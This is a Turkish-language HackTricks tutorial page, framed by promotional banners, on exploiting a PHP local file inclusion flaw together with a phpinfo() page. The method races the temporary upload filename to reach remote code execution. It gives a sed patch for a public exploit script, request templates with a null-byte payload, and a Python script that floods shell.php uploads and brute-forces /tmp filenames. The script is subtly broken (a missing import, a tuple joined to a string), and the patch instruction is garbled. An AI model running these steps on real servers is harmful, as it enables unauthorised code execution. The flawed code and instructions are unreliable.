5.3 KiB
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklam vermek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimizden oluşan koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Bu zafiyeti sömürmek için gerekenler: Bir LFI zafiyeti, phpinfo() fonksiyonunun görüntülendiği bir sayfa, "file_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
HTB Öğretici: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Exploit'i düzeltmeniz gerekiyor (=> yerine => değiştirin). Bunu yapmak için:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Exploitin başında payload'u (örneğin bir php-rev-shell için) değiştirmeniz gerekmektedir, REQ1'i (bu phpinfo sayfasına işaret etmeli ve padding dahil edilmelidir, yani: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), ve LFIREQ'yi (bu LFI zafiyetine işaret etmelidir, yani: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Null karakteri sömürülürken çift "%" kontrol edin)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
Teori
Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işlemeyi bitirene kadar bir geçici dizinde depolanır, ardından bu geçici dosya silinir.
Ardından, web sunucusunda bir LFI zafiyeti bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE'yi sömürebilirsiniz.
Windows'ta dosyalar genellikle C:\Windows\temp\php dizininde depolanır.
Linux'ta dosyanın adı genellikle rastgele ve /tmp dizininde bulunur. Ad rastgele olduğu için, geçici dosyanın adını bir yerden çıkarmak gerekmektedir ve phpconfig() fonksiyonunun içeriğindeki $_FILES değişkeninin değerini okuyarak bunu yapabilirsiniz.
phpinfo()
PHP, bir 4096B tampon kullanır ve tampon dolu olduğunda, istemciye gönderilir. Ardından istemci, büyük başlıklar kullanarak birçok büyük istek gönderebilir (php ters shell yüklemek için), geçici dosyanın adının döndürüldüğü phpinfo()'nun ilk kısmının gelmesini bekleyebilir ve LFI zafiyetini sömürerek php sunucusu dosyayı silmeden önce geçici dosyaya erişmeye çalışabilir.
Uzunluğu 6 ise adı tahmin etmek için Python betiği
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.